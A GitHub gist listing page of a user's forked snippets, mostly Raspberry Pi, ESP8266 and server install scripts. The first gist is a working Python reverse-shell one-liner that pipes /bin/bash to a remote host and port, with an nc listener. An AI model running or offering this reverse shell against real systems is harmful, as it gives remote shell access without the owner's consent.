Skip to content

Instantly share code, notes, and snippets.

@goliatone
goliatone / simple.py
Created May 1, 2016 04:20 — forked from gdamjan/simple.py
Reverse shell in Python
import socket, os, sys
def daemonize():
pid = os.fork()
if pid > 0:
sys.exit(0) # Exit first parent
pid = os.fork()
if pid > 0:
sys.exit(0) # Exit second parent
# http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
# on the CLIENT, run the following:
# nc -l 12345
# on the SERVER, start the "reverse shell"
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" 192.168.2.176 12345
# now go to the CLIENT, listen on port 12345 for incoming shell connections
nc -l 12345
@goliatone
goliatone / install-redis.sh
Last active April 26, 2016 22:01 — forked from four43/install-redis.sh
Install Redis
#!/bin/bash
# from here: http://www.codingsteps.com/install-redis-2-6-on-amazon-ec2-linux-ami-or-centos/
# and here: https://raw.github.com/gist/257849/9f1e627e0b7dbe68882fa2b7bdb1b2b263522004/redis-server
###############################################
# To use:
# wget https://gist.githubusercontent.com/goliatone/b2d8e38c306f99dddca9883026292881/raw/install-redis.sh
# chmod 777 install-redis.sh
# ./install-redis.sh
###############################################
echo "*****************************************"
This file has been truncated, but you can view the full file.
time docker build --rm -t goliatone/rpi-pir-sensor .
Sending build context to Docker daemon 82.94 kB
Step 1 : FROM hypriot/rpi-iojs:1.6.4
---> ec41686b23b6
Step 2 : MAINTAINER goliatone <[email protected]>
---> Using cache
---> f80032fb17a5
Step 3 : RUN apt-get update && apt-get install -y libi2c-dev git && git clone https://github.com/bryan-m-hughes/wiringPi && cd wiringPi && ./build && mkdir -p /usr/src/app
---> Using cache
---> 95f916c4a60c
@goliatone
goliatone / ESP8266 Code (RX node)
Created April 12, 2016 22:53 — forked from crcastle/ESP8266 Code (RX node)
Resolution of issue with ESP8266 described in https://gist.github.com/crcastle/93ebe3b42f3ab021639b (see comments for detailed changes)
#include <SPI.h>
#include <nRF24L01.h>
#include <RF24.h>
#define DEVICE_ID 2
#define CHANNEL 1 //MAX 127
// SPI pin configuration figured out from here:
// http://d.av.id.au/blog/esp8266-hardware-spi-hspi-general-info-and-pinout/
RF24 radio(2, 15); // Set up nRF24L01 radio on SPI bus plus pins 2 for CE and 15 for CSN
@goliatone
goliatone / nodemcu_oled_1.lua
Last active February 1, 2017 10:26
NodeMCU OLED using u8g
function init_spi_display()
-- Hardware SPI CLK = GPIO14
-- Hardware SPI MOSI = GPIO13
-- Hardware SPI MISO = GPIO12 (not used)
-- CS, D/C, and RES can be assigned freely to available GPIOs
local cs = 8 -- GPIO15, pull-down 10k to GND
local dc = 4 -- GPIO2
local res = 0 -- GPIO16
spi.setup(1, spi.MASTER, spi.CPOL_LOW, spi.CPHA_LOW, spi.DATABITS_8, 0)
disp = u8g.ssd1306_128x64_spi(cs, dc, res)
@goliatone
goliatone / install.sh
Created March 16, 2016 04:06 — forked from younes200/install.sh
UV4L + Webrtc
curl http://www.linux-projects.org/listing/uv4l_repo/lrkey.asc | sudo apt-key add -
sudo vi /etc/apt/sources.list
cat /etc/apt/sources.list
deb http://mirrordirector.raspbian.org/raspbian/ wheezy main contrib non-free rpi
deb http://www.linux-projects.org/listing/uv4l_repo/raspbian/ wheezy main
sudo apt-get update
sudo apt-get install uv4l-webrtc
sudo apt-get install uv4l-raspicam-extras
sudo service uv4l_raspicam restart
@goliatone
goliatone / install-node-pi.sh
Created March 15, 2016 03:01 — forked from myrtleTree33/install-node-pi.sh
Install Node JS in 30 seconds for Raspberry Pi / ARM
#!/bin/bash
## Check for versions compiled with ARM at http://nodejs.org/dist/
## Inspired by http://oskarhane.com/raspberry-pi-install-node-js-and-npm/
## Fill in the Node Version here:
##########################################################################
NODE_VERSION="v0.10.21"
@goliatone
goliatone / gstreamer.sh
Created March 15, 2016 02:39
Install Gstreamer on Rasperry Pi
#!/bin/bash --debugger
set -e
[ -n "$1" ] && BRANCH=$1
# Create a log file of the build as well as displaying the build on the tty as it runs
exec > >(tee build_gstreamer.log)
exec 2>&1
# Update and Upgrade the Pi, otherwise the build may fail due to inconsistencies
@goliatone
goliatone / index.html
Created March 13, 2016 19:39 — forked from synaptiko/index.html
Servo PWM controller as Node.js service (requires kernel and modules from Adafruit's Occidentalis: http://learn.adafruit.com/adafruit-raspberry-pi-educational-linux-distro/occidentalis-v0-dot-2)
<!DOCTYPE html>
<html>
<head>
<style>
label {
display: inline-block; width: 100px; height: 20px; float: left; text-align: left;
}
input {
display: inline-block; width: 25%; height: 20px;
}